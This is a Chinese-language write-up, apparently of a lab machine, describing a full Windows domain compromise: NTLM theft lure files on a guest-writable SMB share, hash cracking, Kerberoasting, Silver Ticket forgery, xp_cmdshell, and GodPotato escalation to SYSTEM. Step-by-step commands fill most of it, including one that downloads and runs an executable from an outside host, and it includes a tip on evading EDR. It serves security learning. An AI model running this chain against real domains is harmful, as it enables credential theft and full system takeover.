文章总结: 文档详细记录了一次针对Windows域控制器的渗透测试实战。攻击者利用SMB共享的Guest写权限投递诱饵文件,成功捕获并破解域用户NetNTLMv2哈希。随后通过BloodHound发现可Kerberoasting的服务账户,破解票据后伪造SilverTicket获取MSSQL高权限。最终利用GodPotato工具滥用SeImpersonatePrivilege特权提权至SYSTEM,并提供了详细的操作命令与注意事项。 综合评分: 87 文章分类: 渗透测试,内网渗透,红队,实战经验
利用NTLM中继与Kerberoasting攻破Windows域控制器
柠檬赏金猎人
2026年2月15日 08:41 广东
概述
攻击路径始于利用SMB共享的Guest写权限,通过投递NTLMv2诱饵文件捕获域用户Julia.Wong的NetNTLMv2哈希。破解该哈希后,使用BloodHound进行域内枚举,发现可进行Kerberoasting的MSSQL服务账户svc_mssql。破解其TGS票据后,利用该服务账户的NTLM哈希伪造Silver Ticket,以Administrator身份获取MSSQL的sysadmin权限。随后启用xp_cmdshell,并利用GodPotato滥用SeImpersonatePrivilege特权,最终获得SYSTEM权限。
技术/功能
- 信息收集:使用Nmap进行端口扫描,识别开放服务(SMB, HTTP, MSSQL, Kerberos等)。
- SMB枚举:利用netexec(原CrackMapExec)进行用户枚举、RID爆破和共享发现。
- NTLMv2哈希捕获:通过ntlm_theft生成多种诱饵文件,利用Responder捕获NetNTLMv2哈希。
- 哈希破解:使用Hashcat配合rockyou.txt破解NetNTLMv2和Kerberos TGS哈希。
- 域内枚举:通过RustHound-CE收集BloodHound数据,识别Kerberoastable用户。
- Kerberoasting:利用netexec获取服务账户的TGS票据哈希。
- Silver Ticket攻击:使用Impacket的ticketer伪造Kerberos服务票据,以Administrator身份访问MSSQL。
- MSSQL提权:启用xp_cmdshell,执行系统命令。
- 特权提升:利用GodPotato滥用SeImpersonatePrivilege,从svc_mssql提权至SYSTEM。
使用示例
1. 初始扫描与SMB枚举
sudo nmap -p- -vvv --min-rate 10000 10.129.10.28
netexec smb 10.129.10.28 --generate-hosts-file hosts
netexec smb BREACHDC.breach.vl -u guest -p '' --rid-brute
netexec smb BREACHDC.breach.vl -u guest -p '' --shares
2. 生成NTLM诱饵文件并捕获哈希
uv run ntlm_theft.py -g all -s -f lure
smbclient //BREACHDC.breach.vl/share -U 'guest%'
# 上传lure目录下所有文件至可写共享
sudo uv run Responder.py -I tun0
3. 破解哈希与验证凭据
hashcat julia.wong.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
netexec smb BREACHDC.breach.vl -u Julia.Wong -p <PASSWORD>
4. 域内枚举与Kerberoasting
rusthound-ce --domain breach.vl -u Julia.Wong -p <PASSWORD> -z
netexec ldap BREACHDC.breach.vl -u Julia.Wong -p <PASSWORD> --kerberoast kerberoasting
hashcat ./kerberoasting /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
5. Silver Ticket攻击与MSSQL访问
python3 -c 'import hashlib; print(hashlib.new("md4", "Trustno1".encode("utf-16le")).hexdigest())'
ticketer.py -nthash -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn MSSQLSvc/breachdc.breach.vl:1433 Administrator
KRB5CCNAME=Administrator.ccache mssqlclient.py -no-pass -k BREACHDC.breach.vl
6. 启用xp_cmdshell与执行GodPotato
-- 在MSSQL shell中执行
enable_xp_cmdshell
xp_cmdshell "powershell -c iwr http:///GodPotato-NET4.exe -outfile C:\programdata\gp.exe"
xp_cmdshell C:\programdata\gp.exe -cmd whoami
xp_cmdshell C:\programdata\gp.exe -cmd "powershell -e "
注意事项
- 时间同步:Kerberos认证要求攻击者与域控制器时间同步,需确保系统时间准确。
- 防火墙与杀毒软件:实际环境中可能遇到防火墙或EDR的拦截,需调整Payload或使用混淆技术。
- 权限限制:Guest账户的写权限可能受限,需根据实际情况选择诱饵文件类型。
- 哈希破解:依赖于密码字典强度,若密码不在字典中,需尝试其他破解方法或字典。
- Silver Ticket:需要服务账户的NTLM哈希和域SID,伪造的票据仅对特定服务有效。
- GodPotato:需在具有SeImpersonatePrivilege的上下文中执行,且可能受Windows版本影响。
参考链接
- https://github.com/Greenwolf/ntlm_theft
- https://github.com/lgandx/Responder
- https://github.com/g0h4n/RustHound-CE
- https://bloodhound.specterops.io/
- https://github.com/BeichenDream/GodPotato
- https://www.revshells.com/
仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。如侵权请私聊公众号删文。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:柠檬赏金猎人 《利用NTLM中继与Kerberoasting攻破Windows域控制器》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论